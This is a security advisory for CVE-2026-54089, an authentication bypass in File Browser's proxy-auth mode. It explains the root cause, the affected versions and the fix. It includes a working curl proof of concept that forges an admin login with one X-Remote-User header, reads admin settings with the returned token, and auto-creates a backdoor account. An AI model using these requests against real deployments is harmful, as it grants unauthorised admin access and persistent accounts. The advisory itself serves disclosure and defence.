critical · 9.1CVE-2026-54089Jul 10, 2026

CVE-2026-54089: File Browser Authentication Bypass via Proxy Header Forgery

Rohit Hatagale
AI Security Researcher, SecureLayer7

When File Browser is configured to use proxy authentication, anyone who can reach the server directly can impersonate any user, including admin, by sending a single forged HTTP header with no credenti

Packagegithub.com/filebrowser/filebrowser/v2
Ecosystemgo
Affected>= 2.0.0-rc.1, <= 2.63.18

The problem

File Browser's proxy auth mode (`auth.method=proxy`) reads a username from an HTTP request header (default `X-Remote-User`) and trusts it unconditionally. The function in `auth/proxy.go` does not check the origin IP, does not validate a shared secret, and performs zero password verification before handing the caller a signed JWT.

If the supplied username does not exist in the database, the server creates the account automatically. This gives an unauthenticated attacker both full impersonation of existing users (including admin) and an unlimited account-creation primitive. Any deployment where the FileBrowser port is reachable without going through the reverse proxy is fully exposed.

Proof of concept

A working proof-of-concept for CVE-2026-54089 in github.com/filebrowser/filebrowser/v2, with the exact payload below.

bash
# Step 1: forge admin identity - no password needed
FORGED_TOKEN=$(curl -s -X POST http://TARGET:8085/api/login \
  -H "X-Remote-User: admin")

# Step 2: use the returned admin JWT to hit admin-only endpoints
curl -s http://TARGET:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN"

# Step 3: auto-create a backdoor account (username must not exist)
BACKDOOR_TOKEN=$(curl -s -X POST http://TARGET:8085/api/login \
  -H "X-Remote-User: backdoor_account")

The root cause is in `auth/proxy.go`: `ProxyAuth.Auth()` calls `r.Header.Get(a.Header)` on any incoming request, with no check on `r.RemoteAddr` or any shared secret. Because HTTP clients can freely set arbitrary headers, an attacker on any network path to the server can supply the username of their choice.

Unlike the JSON auth path, which calls `users.CheckPwd` (bcrypt), the proxy path returns the user object directly to `loginHandler` in `http/auth.go`, which then calls `printToken` and signs a valid JWT. The entire security model is assumed to be enforced at the network layer, but the code itself enforces nothing.

The fix requires adding an explicit `trustedProxies` allowlist to `ProxyAuth` and rejecting any `Auth()` call whose `r.RemoteAddr` does not match. User auto-creation should also be made opt-in rather than always-on. CWE-287 (Improper Authentication) and CWE-290 (Authentication Bypass by Spoofing) both apply.

The fix

Upgrade to File Browser v2.63.19 or later, which adds trusted-proxy IP validation to `ProxyAuth.Auth()` and makes auto-user-creation opt-in. If you cannot upgrade immediately, bind FileBrowser exclusively to `127.0.0.1` (or a private interface only the reverse proxy can reach) and ensure your reverse proxy strips the auth header from client requests before forwarding.

Do not expose the FileBrowser port directly to any untrusted network when proxy auth is enabled.

Reporter not attributed.

References: [1][2][3][4][5]

Related research